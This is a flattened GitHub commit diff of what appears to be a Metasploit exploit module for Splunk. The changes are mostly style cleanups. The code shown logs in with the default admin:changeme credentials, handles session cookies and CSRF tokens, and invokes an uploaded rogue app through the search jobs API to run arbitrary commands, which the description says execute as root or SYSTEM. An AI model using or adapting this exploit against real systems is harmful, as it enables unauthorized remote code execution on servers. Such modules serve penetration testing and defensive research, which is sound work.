You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This module exploits a feature of Splunk whereby a custom application can be
18
-
uploaded through the web based interface. Through the 'script' search command a
17
+
'Description'=>
18
+
'This module exploits a feature of Splunk whereby a custom application can be
19
+
uploaded through the web based interface. Through the \'script\' search command a
19
20
user can call commands defined in their custom application which includes arbitrary
20
21
perl or python code. To abuse this behavior, a valid Splunk user with the admin
21
22
role is required. By default, this module uses the credential of "admin:changeme",
22
23
the default Administrator credential for Splunk. Note that the Splunk web interface
23
24
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
24
-
tested successfully against Splunk 5.0, 6.1, and 6.1.1.
25
-
},
25
+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
26
26
'Author'=>
27
27
[
28
28
"marcwickenden",# discovery and metasploit module
@@ -42,13 +42,13 @@ def initialize(info = {})
42
42
'Space'=>1024,
43
43
'DisableNops'=>true
44
44
},
45
-
'Platform'=>%w{linuxunixwin},
45
+
'Platform'=>%w(linuxunixwin),
46
46
'Targets'=>
47
47
[
48
48
['Splunk >= 5.0.1 / Linux',
49
49
{
50
50
'Arch'=>ARCH_CMD,
51
-
'Platform'=>%w{linuxunix}
51
+
'Platform'=>%w(linuxunix)
52
52
}
53
53
],
54
54
['Splunk >= 5.0.1 / Windows',
@@ -63,9 +63,10 @@ def initialize(info = {})
63
63
register_options(
64
64
[
65
65
Opt::RPORT(8000),
66
-
OptString.new('USERNAME',[true,'The username with admin role to authenticate as','admin']),
67
-
OptString.new('PASSWORD',[true,'The password for the specified username','changeme']),
68
-
OptPath.new('SPLUNK_APP_FILE',
66
+
OptString.new('USERNAME',[true,'The username with admin role to authenticate as','admin']),
67
+
OptString.new('PASSWORD',[true,'The password for the specified username','changeme']),
68
+
OptPath.new(
69
+
'SPLUNK_APP_FILE',
69
70
[
70
71
true,
71
72
'The "rogue" Splunk application tgz',
@@ -97,7 +98,7 @@ def exploit
97
98
# set up some variables for later use
98
99
@auth_cookies=''
99
100
@csrf_form_key=''
100
-
@csrf_form_port="splunkweb_csrf_token_#{rport}"#Default to using rport, corrected during tokenization for v6 below.
101
+
@csrf_form_port="splunkweb_csrf_token_#{rport}"#Default to using rport, corrected during tokenization for v6 below.
101
102
app_name='upload_app_exec'
102
103
p=payload.encoded
103
104
print_status("Using command: #{p}")
@@ -120,7 +121,6 @@ def exploit
120
121
# call our command execution function with the Splunk 'script' command
121
122
print_status("Invoking script command")
122
123
res=send_request_cgi(
123
-
{
124
124
'uri'=>'/en-US/api/search/jobs',
125
125
'method'=>'POST',
126
126
'cookie'=>"#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",# Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
@@ -144,24 +144,24 @@ def exploit
144
144
'latest_time'=>"",
145
145
'timeFormat'=>"%s.%Q"
146
146
}
147
-
})
147
+
)
148
148
149
149
ifreturn_output
150
150
res.body.match(/data":\ "([0-9.]+)"/)
151
-
job_id=$1
151
+
job_id=Regexp.last_match(1)
152
152
153
153
# wait a short time to let the output be produced
154
154
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
155
-
select(nil,nil,nil,command_output_delay)
155
+
select(nil,nil,nil,command_output_delay)
156
156
job_output=fetch_job_output(job_id)
157
157
ifjob_output.body.match(/Waiting for data.../)
158
158
print_status("No output returned in time")
159
-
elsese
159
+
else
160
160
output=""
161
161
job_output.body.each_linedo |line|
162
162
# strip off the leading and trailing " added by Splunk
163
-
line.gsub!(/^"/,"")
164
-
line.gsub!(/"$/,"")
163
+
line.gsub!(/^"/,"")
164
+
line.gsub!(/"$/,"")
165
165
output << line
166
166
end
167
167
@@ -183,7 +183,7 @@ def check
183
183
'method'=>'GET'
184
184
},25)
185
185
186
-
ifresandres.body =~ /Splunk Inc\. Splunk/
186
+
ifres&&res.body =~ /Splunk Inc\. Splunk/
187
187
returnExploit::CheckCode::Detected
188
188
else
189
189
returnExploit::CheckCode::Safe
@@ -194,18 +194,17 @@ def do_login
194
194
print_status("Authenticating...")
195
195
# this method borrowed with thanks from splunk_mappy_exec.rb
196
196
res=send_request_cgi(
197
-
{
198
197
'uri'=>'/en-US/account/login',
199
198
'method'=>'GET'
200
-
})
199
+
)
201
200
202
201
cval=''
203
202
uid=''
204
203
session_id_port=
205
204
session_id=''
206
-
ifresandres.code == 200
207
-
res.get_cookies.split(';').each{|c|
208
-
c.split(',').each{|v|
205
+
ifres&&res.code == 200
206
+
res.get_cookies.split(';').eachdo|c|
207
+
c.split(',').eachdo|v|
209
208
ifv.split('=')[0] =~ /cval/
210
209
cval=v.split('=')[1]
211
210
elsifv.split('=')[0] =~ /uid/
@@ -214,14 +213,13 @@ def do_login
214
213
session_id_port=v.split('=')[0]
215
214
session_id=v.split('=')[1]
216
215
end
217
-
}
218
-
}
216
+
end
217
+
end
219
218
else
220
219
fail_with(Failure::NotFound,"Unable to get session cookies")
'cookie'=>"#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
0 commit comments